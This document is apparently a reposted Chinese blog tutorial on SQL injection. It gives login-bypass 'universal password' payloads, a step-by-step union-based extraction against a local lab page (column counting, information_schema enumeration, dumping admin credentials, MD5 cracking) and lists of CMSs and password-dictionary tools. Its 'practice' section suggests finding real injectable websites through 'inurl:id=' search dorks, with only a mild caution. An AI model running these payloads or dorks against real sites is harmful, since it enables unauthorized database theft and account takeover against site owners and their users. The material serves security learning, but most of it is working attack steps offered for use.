10.21SQL注入

SQL注入

1、万能密码:自己写的网站,找到登录窗口(必须和数据库交互)往里面插入构造的恶意代码,最后可以直接登陆进去,不需要帐号和密码。输入的恶意代码就称为万能密码。

注释符号:#  --  %25  %2d%2d  --+,符号后的语句不识别

后端拼接的sql语句:SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';

用户名的地方没有处理,密码输入:admin  ' or 1=1#

这样语句就拼接成了:SELECT * FROM `users` WHERE user = 'admin '  or 1=1#' AND password = '$pass';由于#被注释,则实际执行SELECT * FROM `users` WHERE user = 'admin '  or 1=1由于1=1永真,则会搜索出所有用户,根据后端代码

 

数量为1时执行成功登陆,那么把上面的or改为and ,则会搜索出账户为admin的账户只有一个,那么就能执行成功登陆

 

其他语句:pentest’ or 1=1#

(注意 需不需要加’ 需要根据后端代码提交的数据类型来判定,如果是字符串类型,则需要加单引号,如果是整型,则不需要加)

语句若为“真orand假”,则判定为真。

为何出现这种问题:

后端代码在执行的过程中将用户输入的数据也当做代码来执行了,违背一个原则:代码和数据相分离

前端的传递的传输可以随意控住,参数可控;后端对前端传递过来的数据没有过滤或者过滤不严谨。最终导致万能密码sql注入。(注入的原因)

危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell

分类:

请求方式:getpostcookie

参数形式:整形、字符型、搜索

反馈类型:报错、union、延时、布尔(时间/页面显示状态)

数据库类型:access mssql mysql pracle nosql等等

利用技术:布尔、报错、内联、堆叠、时间、联合

手工注入:

常用数据函数以及常量

@@tmpdir

@@datadir

@@basedir

@@bersion

@@hostname

Ascii()

User()

Version()

Database()

Concat()

Group_concat()

Concat_ws()

Substr()

Substr():oracle,mysql,mssql   /substring():mysql,mssql   /mid():mysql 注意:均有是哪个参数,第一 被截取的字符;第二 开始索引;第三 截取的长度

Letf(pa1,pa2)从左边开始截取 pa1:被截取的字符串;pa2:截取长度

Right()

Sleep()让数据库休眠

Ord()显示字符的ascii

If(条件,条件为真时的返回值或者语句,条件为假时的返回值或者语句)

If(1=1,ture,false)

Case when 条件 then 条件为真时的返回这或者语句 else 条件为假时的返回值或者语句 end

Length()计算字符串长度

联合查询

Select*from users where id =1 union select “a”,”b”,”c”;

mysql数据库中:一库一表三字段

Mysql>5.0

Information_schema 系统数据库,用来做汇总用(其他数据库的库名、表名、字段名)

Columns表中存储数据(库名、表名、字段名),需要关注该表下三个字段

Table_schema  字段存储 存储其他数据库的库名

Table_name 字段存储 存储其他数据库的表名

Column_name 字段存储 存储其他数据库的字段名

手工注入

Step1:检测注入点(可能存在sql注入的地方),

找到类似id的参数(iduidtypeidsidkey......),后面输入一些检测的恶意代码:

‘ and 1=1#

‘ and 1=2--

-1 ‘ or ’1’=’1 等等

需不需要’ 是由后端拼接sql语句决定的

输入的恶意payload被成功执行(页面显示效果、报错信息等),说明此处有sql注入点

接下来确定注入的方式:报错、布尔、堆叠,主要是根据页面的回显效果来决定使用哪种注入技术

判断从后台数据库中选择的列数以及那几列在前端显示。

http://127.0.0.1/jdy1.5/typeid.php?typeid=1 and order by 6%23

更换数字,根据页面显示效果判断后台数据库选择的列数,5

Union select 1,2,3,4,5%23,将typeid=非常大或-1

 

发现2的位置可以注入

Step2:收集后台信息

尝试将2改为user()

http://127.0.0.1/jdy1.5/typeid.php?typeid=-1  union select 1,user(),3,4,5%23

 

发现2的位置可以将后台数据显示到前端

http://127.0.0.1/jdy1.5/typeid.php?typeid=-1  union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23

Step3:获取当前数据库下表名

select table_name from information_schema.columns where table_schema=database()

Step4:获取当前数据库下指定表下字段名

Select group_concat(distinct column_name)from information_schema.columns where table_schema=database() and table_name=表名(一般需要找后台或者敏感的数据表)

select concat(username,0x7e,password)from jdy_admin limit 0,1; //这里~用十六进制为0x7e

Step6:解密:pmd5 cmd5 chamd5 somd5......网站去找,解码后显示的就是密码

查找数据库中的password,解密即可

***注入训练***

Bing国际版搜索inurl:id=,可以找到一些能够注入的网站(不建议随便注入漏洞)

 

CMS内容管理系统,是网站建设走向成功的重要组成部分,常用的有:

   1.企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMS.net平台)等;

2.B2C商城系统:商派shopexecshophishopxpshop;

3.门户建站系统:DedeCMS(织梦,PHP+MYSQL)、帝国CMSPHP+mysql)、PHPCMS、动易、cmstopdianCMS(易点CMS.net平台)等;

4.博客系统:wordpressZ-Blog;

5.论坛社区:discuzphpwindwecenter;

6.问答系统:Tipaskwhatsns;

7.知识百科系统:HDwiki;

8.B2B门户系统:destoonB2Bbuilder、友邻B2B;

9.人才招聘网站系统:骑士CMSPHP云人才管理系统;

10.房产网站系统:FangCms;

11.在线教育建站系统:kesion(科汛,ASP)EduSoho网校;

12.电影网站系统:苹果cmsctcmsmovcms;

13.小说文学建站系统:JIEQI CMS;

社工密码字典的生成工具:

Pydictor:强大的密码生成工具

Cupper:针对国人的社工密码生成器

Wordhound:基于推特搜索、PDF文档、甚至reddit子网站创建密码字典

易优密码生成器

原文地址:https://www.cnblogs.com/x98339/p/11714836.html